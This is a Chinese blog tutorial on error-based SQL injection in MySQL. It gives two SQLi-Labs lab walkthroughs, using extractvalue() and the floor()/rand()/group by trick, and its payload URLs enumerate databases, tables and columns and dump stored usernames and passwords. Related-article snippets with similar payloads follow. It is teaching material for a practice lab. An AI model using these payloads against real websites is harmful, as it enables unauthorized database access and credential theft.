网络安全——SQL报错注入

最新推荐文章于 2025-03-14 21:44:10 发布
最新推荐文章于 2025-03-14 21:44:10 发布
阅读量2.1k 收藏 21
点赞数 6
分类专栏： 网络安全 文章标签： web安全 安全 数据库 sql
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_54055099/article/details/126842364
版权

一、SQL报错注入概述

1、原理

（1）、Web应用程序未关闭数据库报错函数，对于一些SQL语句的错误直接回显在页面上

（2）、后台未对一些具有报错功能的函数（例：extractvalue、updatexml等）进行过滤

（3）、通过构造特定的SQL语句，让攻击者想要查询的信息（如数据库名、版本号、用户名等）通过页面的错误提示回显出来

 2、Xpath类型函数

 

 3、其他函数

 

 二、SQL报错注入实例一

（1）关于报错注入

基于报错的注入，是指通过构造特定的SQL语句，让攻击者想要查询的信息（如数据库名、版本号、用户名等）通过页面的错误提示回显出来。
报错注入一般需要具备两个前提条件：（1）Web应用程序未关闭数据库报错函数，对于一些SQL语句的错误直接回显在页面上；（2）后台未对一些具有报错功能的函数进行过滤。
常用的报错功能函数包括extractvalue()、updatexml()、floor()、exp()等。

（2）关于extractvalue()函数

作用：对XML文档进行查询，相当于在HTML文件中用标签查找元素。
语法：extractvalue(XML_document, XPath_string)
参数1：XML_document是String格式，为XML文档对象的名称；
参数2：XPath_string(Xpath格式的字符串)，注入时可操作的地方。
报错原理：xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式，如果写入其他格式就会报错，并且会返回写入的非法格式内容，错误信息如：XPATH syntax error:'xxxxxxxx’。

实验步骤

以SQLi-Labs网站的Less-1为入口，借助extractvalue()函数，利用基于报错的注入方式获取SQLi-Labs网站的登录用户名和密码。

1．访问SQLi-Labs网站

访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-1。访问的URL为：

http://[靶机IP]/sqli-labs/Less-1/

(注意大小写)

登录后，根据网页提示，先给定一个GET参数，即：

http://[靶机IP]/sqli-labs/Less-1/?id=1

此时页面显示id=1的用户名Dump、密码Dump。

2．寻找注入点

分别使用以下3条payload寻找注入点及判断注入点的类型：

http://[靶机IP]/sqli-labs/Less-1/?id=1'

运行后报错！

http://[靶机IP]/sqli-labs/Less-1/?id=1' and '1'='1

运行后正常显示！

http://[靶机IP]/sqli-labs/Less-1/?id=1' and '1'='2

运行后未正常显示！

由上述结果可以判断，网站存在字符型注入点。

3．获取网站当前所在数据库的库名

使用以下payload获取网站当前所在数据库的库名：

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',database()))--+

显示结果为security。

4．获取数据库security的全部表名

使用以下payload获取数据库security的全部表名：

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+

显示结果中，有一个名为users的表，这当中可能存放着网站用户的基本信息。

注意：extractvalue() 函数所能显示的错误信息最大长度为32，如果错误信息超过了最大长度，有可能导致显示不全。因此，有时需要借助limit来做分行显示，上述payload可以改为：

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1)))--+
//显示security库中的第1张表的名字

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1)))--+
//显示security库中的第2张表的名字

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 2,1)))--+
//显示security库中的第3张表的名字

...

5．获取users表的全部字段名

使用以下payload获取users表的全部字段名：

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))--+

显示结果，users表中有id、username和password三个字段。

 

同上一个步骤相似，为了避免错误信息太长导致显示不全，有时需要借助limit来做分行显示，上述payload可以改为：

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)))--+
//显示users表中的第1个字段的名字

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1)))--+
//显示users表中的第2个字段的名字

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1)))--+
//显示users表中的第3个字段的名字

...

6．获取users表id、username和password字段的全部值。

由于users表中存放着多组用户名和密码的数据，而每次只能显示一组数据，我们可以通过limit M,N的方式逐条显示，如

（1）显示第1组数据

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1)))--+

显示结果为Dump，Dump。

（2）显示第2组数据

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 1,1)))--+

显示结果为Angelina，I-kill-you。

（3）显示第3组数据

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 2,1)))--+

显示结果为Dummy，p@ssword。

 

 以此类推，可通过修改limit后面的参数，将users表中存放的所有用户信息全部暴露出来。

三、SQL报错注入实例二

原理：

（1）关于报错注入

基于报错的注入，是指通过构造特定的SQL语句，让攻击者想要查询的信息（如数据库名、版本号、用户名等）通过页面的错误提示回显出来。
报错注入一般需要具备两个前提条件：（1）Web应用程序未关闭数据库报错函数，对于一些SQL语句的错误直接回显在页面上；（2）后台未对一些具有报错功能的函数进行过滤。
常用的报错功能函数包括extractvalue()、updatexml()、floor()、exp()等。

（2）关于floor()函数

在进行报错注入时，floor()函数一般需要与rand()、count()、group by联用。
作用：
floor(x)：对参数x向下取整；
rand()：生成一个0~1之间的随机浮点数；
count(*)：统计某个表下总共有多少条记录；
group by x：按照（by）一定的规则（x）进行分组；
报错原理：floor()函数与group by、rand()联用时，如果临时表中没有该主键，则在插入前会再计算一次rand()，然后再由group by将计算出来的主键直接插入到临时表格中，导致主键重复报错，错误信息如：Duplicate entry ‘…’ for key 'group_key’。

步骤：

本实验的目标是：以SQLi-Labs网站的Less-1为入口，借助floor()函数与rand()、count()、group by的联用，利用基于报错的注入方式获取SQLi-Labs网站的登录用户名和密码。

1．访问SQLi-Labs网站

在攻击机Pentest-Atk打开FireFox浏览器，并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-1。访问的URL为：

http://[靶机IP]/sqli-labs/Less-1/

(注意大小写)

登录后，根据网页提示，先给定一个GET参数，即：

http://[靶机IP]/sqli-labs/Less-1/?id=1

此时页面显示id=1的用户名Dump、密码Dump。

2．寻找注入点

分别使用以下3条payload寻找注入点及判断注入点的类型：

http://[靶机IP]/sqli-labs/Less-1/?id=1'

运行后报错！

http://[靶机IP]/sqli-labs/Less-1/?id=1' and '1'='1

运行后正常显示！

http://[靶机IP]/sqli-labs/Less-1/?id=1' and '1'='2

运行后未正常显示！

由上述结果可以判断，网站存在字符型注入点。

3．获取网站当前所在数据库的库名

使用以下payload获取网站当前所在数据库的库名：

http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示结果为security。注意：请忽略后面的1。

4．获取数据库security的全部表名

使用以下payload获取数据库security的表名：

http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示security库中的第1张表的名字为emails。

http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示security库中的第2张表的名字为referers。

http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示security库中的第3张表的名字为uagents。

http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示security库中的第4张表的名字为users。

 以上显示结果中，第4张表users当中可能存放着网站用户的基本信息。

5．获取users表的全部字段名

使用以下payload获取users表的字段名：

http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示users表中的第1个字段名字为id。

http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示users表中的第2个字段名字为username。

 

http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示users表中的第3个字段名字为password。

 综合以上显示结果，users表中有id、username和password三个字段。

6．获取users表id、username和password字段的全部值。

由于users表中存放着多组用户名和密码的数据，而每次只能显示一组数据，我们可以通过limit M,N的方式逐条显示，如

（1）显示第1组数据

http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select concat_ws(',',id,username,password) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示结果为Dump，Dump。

（2）显示第2组数据

http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select concat_ws(',',id,username,password) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示结果为Angelina，I-kill-you。

（3）显示第3组数据

http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select concat_ws(',',id,username,password) from security.users limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示结果为Dummy，p@ssword。

 以此类推，可通过修改limit后面的参数，将users表中存放的所有用户信息全部暴露出来。

这篇文章就写到这里了

72.网络安全渗透测试—[SQL注入篇11]—[SQLSERVER+ASP-报错注入]
qwsn
01-18 3247
我认为，无论是学习安全还是从事安全的人，多多少少都有些许的情怀和使命感！！！ 文章目录 一、SQLSERVER+ASP 报错注入 1、sql server的报错页面 2、SQLSERVER+ASP 报错注入示例
35岁重学网络安全——SQL注入篇（十三）
Armey的博客
02-06 834
鲁迅先生曾经说过：做安全，先免责！用户在使用本文信息时，应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。floor()报错注入基础（get型）
SQL Server 报错注入（一）
zzgslh的博客
12-25 4687
SQL Server报错注入 一、原理介绍 报错注入，顾名思义首先这里是有报错信息才可以，其次我们需要人为的制造一些错误，比如使用convert()函数进行类型转换时，如果转发失败就会报错，然后把我们要执行的SQL语句与convert()函数组合起来，报错的信息当中有咱们需要的信息。 二、函数介绍 – convert()函数介绍： convert(int,db_name())，含义是将第二个参数的值转换成第一个参数的int类型。利用mssql在转换类型的时候就出错，来爆数据库信息。 – quotename(
SQL注入-常见的报错注入类型详解
最新发布
lza20001103的博客
03-14 1054
SQL注入-常见的报错注入类型详解
SQL注入--报错注入
liukenn的博客
07-30 3450
一个带get参数的网站并且不从数据库返回数据，但存在报错信息 http://127.0.0.1/index.php?id=1 http://127.0.0.1/index.php?id=1' 查看字段情况： http://127.0.0.1/index.php?id=1' order by 3%23 http://127.0.0.1/index.php?id=1'
sql注入（报错注入）
2302_79119987的博客
04-19 2141
实行注入的地方。
sql注入之报错注入
2403_87464189的博客
12-18 443
报错注入 将第二个参数路径写错 通过错误回显来获取我们需要的信息。这里我们需要用到路径的敏感信息~
网络安全篇——SQL注入基础
白小白的博客
02-20 2458
SQL注入漏洞是Web应用程序中最常见且危害极大的安全漏洞之一。攻击者通过构造恶意SQL语句，可以绕过认证、窃取数据甚至控制数据库服务器。以下是SQL注入漏洞挖掘的详细方法：在学习SQL注入时我们需要了解两个重要信息当应用程序未对用户输入进行有效过滤，直接将用户输入拼接至SQL查询语句时，攻击者可通过构造特殊输入改变原SQL逻辑。以上代码很明显在对id未进行预编译，而直接调用 GET中用户所反馈的数据，这样就可能导致用户使用一些敏感的数据与sql数据库进行拼接从而获取到数据库中敏感的信息。
网络安全攻防——SQL注入
CSDN
05-14 776
文章目录0、常用查询1、or+limit全局查询2、联合查询基础3、bool盲注与爆破使用brup爆破4、time盲注5、利用updatexml()报错注入6. 插入/更改注入7. 删除注入8.二次注入9. 堆查询注入10、一些函数总结limit 详解：11、总结与归纳 0、常用查询 表名 # 用limit 来一个一个找 ?id=-3' union select 1,1,table_name from information_schema.tables where table_schema=database
深信服技术认证之基于floor( )函数的SQL报错注入
sangfor_edu的博客
06-07 1218
SQL注入（SQL Injection）是一种常见的Web安全漏洞，攻击者利用Web应用程序对用户输入验证上的疏忽，在输入的数据中包含对某些数据库系统有特殊意义的符号或命令，让攻击者有机会直接对后台数据库系统下达指令，进而实现对后台数据库乃至整个应用系统的入侵。...
网络安全基础——SQL注入漏洞（一）
LinAime的博客
12-21 4994
injection注入攻击数字&字符型注入联合查询注入宽字节注入防御方法 SQL注入的原理 前端的数据传入到后台处理时，没有做严格的判断，导致其传入的“数据”拼接到SQL语句中后，被当作SQL语句的一部分执行。 注入的关键在于构造闭合 本文章将以pikachu靶场作为演示实验场景 数字&字符型注入 数字型、字符型注入的判断 判断数字型：在注入点输入 a and 1=1 ，a and 1=2， 第一个返回正常第二次返回错误，则为数字型 判断字符型：基本原理同上，但是需加入单引号做闭合
Sql server注入分类之报错注入
qq_42990434的博客
12-16 460
本章目录：报错查询注入语句先统计总共有多少库第一步：获取库名第二步：获取表第三步：获取列名第四步：获取列数据扩展 报错查询注入语句 id=8’ //报错 id=8 and 1=1 / and 1=2 //1=1 页面返回正常，1=2 页面返回不正常，证明我们的语句代入进去执行了，其实这种判断可以有很多拓展 id=8 and exists(select * from sysobjects) //确实目标是否真的为mssql数据库,页面返回正常则是 id=8and 1=CONVERT(i
SQL注入---报错注入
zhoutong2323的博客
04-04 1424
在SQL注入报错攻击中，攻击者通过在用户输入的位置注入恶意的SQL代码，使应用程序拼接出错误的SQL语句。当数据库执行错误的SQL语句时，会返回错误信息，这些错误信息可能包含数据库的具体错误信息、相关的数据和表结构等敏感信息。攻击者通过分析这些错误信息来获取相关的数据或者进一步攻击数据库。案例分析：上述sql注入中认为将正确的sql语句database() 改为错误的sql语句 datadase()数据库回显内容为：FUNCTION security.datadase does not exist。
SQL Server从0到1——报错注入
星星我啊，已经很努力在学习了， 有人一起学习吗？Ziansec-1
01-04 605
【代码】SQL Server从0到1——报错注入。
sql报错注入用法及详解
十五年游戏主程转渗透之路
03-29 1155
floor注入及原理，updatexml注入及原理，extractvalue注入及原理
SQL报错注入
qq_64332865的博客
02-18 675
基于报错的注入，是指通过构造特定的SQL语句，让攻击者想要查询的信息(如数据库名、版本号、用户名等）通过页面的错误提示回显出来。 报错注入一般需要具备两个前提条件:(1)Web应用程序未关闭数据库报错函数，对于一些SQL语句的错误直接回显在页面上;(2）后台未对一些具有报错功能的函数进行过滤。 常用的报错功能函数包括extractvalue()、 updatexml)、floor()、exp()等。 关于floor()函数,在进行报错注入时，floor()函数一般需要与rand()、count()、g
SQL注入——基于报错的注入（1）
qq_52072846的博客
02-18 3205
实验目的 熟悉报错功能函数extractvalue的用法，掌握基于报错的SQL注入基本流程 实验原理 (1)关于报错注入 基干报错的注入，是指通讨构造特定的SOI语句，让攻击者想要查询的信息(如 数据库名、版本号、用户名等)通过页面的错误提示回显出来。 报错注入一般需要具备两个前提条件:(1)Web应用程序未关闭数据库报错函 数，对于一些SQL语句的错误直接回显在页面上:(2)后台未对一些具有报错 功能的函数进行过滤。 常用的报错功能函数包括extractvalue()、updatexml(、fl
【网络安全-SQL注入（4）】一篇文章带你了解sql server数据库三大权限，以及三大权限的SQL注入，SQL注入点利用以及getshell_sqlsever数据库报错注入(1)
2401_84970415的博客
05-13 818
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！
SQL server 中的SQL 注入
d1996a的博客
09-27 465
SQL server 中的sql注入 实验环境： 在windows server 2008虚拟机中安装SQL server 数据库。安装phpstudy ，通过一台Windows7 访问连接windows server 2008. SQL server 联合注入 首先判断注入点，输入id=1，页面正常回显。 首先判断是否是数值型： id=1 and 1=1，页面正常回显 id=1 and 1=2，页面空显示，可以判断是数值型。 因为有显示位，可以用联合注入进行注入。 首先判断显示位，由此可以看出显示位
SQL注入 报错注入攻击成功 wireshake
02-27
### 使用 Wireshark 捕获并分析 SQL 注入攻击成功报错的数据包 #### 流量监控与捕获 为了有效监测和捕捉可能存在的 SQL 注入攻击流量，需先设置好网络环境以便于抓取目标主机上的进出数据流。这通常涉及到配置端口镜像或利用内网交换机的功能来转发特定设备间的通信记录给安装有 Wireshark 的机器处理[^1]。 #### 启动 Wireshark 并应用过滤器 启动 Wireshark 软件，在界面中选择要监听的网络接口。针对数据库服务器发出的内容，可以施加显示过滤器 `mysql` 或者更精确地限定为 `(tcp.port eq 3306)` 来专注于 MySQL 默认使用的TCP端口号上流动的信息片段；如果已知Web应用程序所在的IP地址，则还可以进一步缩小范围至该源/目的地址之间的交互过程[(ip.addr == X.X.X.X)][^2]。 #### 定位到含有错误响应的消息 当存在SQL注入漏洞被触发时，服务端可能会返回异常提示给客户端作为HTTP响应的一部分。这些反馈往往包含了对调试有用的细节描述甚至是完整的堆栈跟踪信息——这些都是潜在的安全隐患所在之处。因此，在Wireshark会话列表里寻找状态码非正常的GET/POST请求对应的回复部分就显得尤为重要了。对于MySQL而言，可以通过查看TCP流重组后的原始查询字符串以及伴随而来的结果集（Result Set），特别是其中是否夹杂着诸如“syntax error”， “unknown column”之类的字样[^3]。 ```sql -- 这些关键词可能是由于恶意构造的输入导致执行失败的结果展示 SELECT * FROM users WHERE id='1' OR '1'='1'; -- syntax error, unexpected '=' near ... ``` 一旦发现了上述特征明显的条目之后，就可以将其标记出来深入研究其上下文中是否存在其他可疑活动模式，并据此采取相应的防护措施以防止未来发生类似的入侵事件。
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值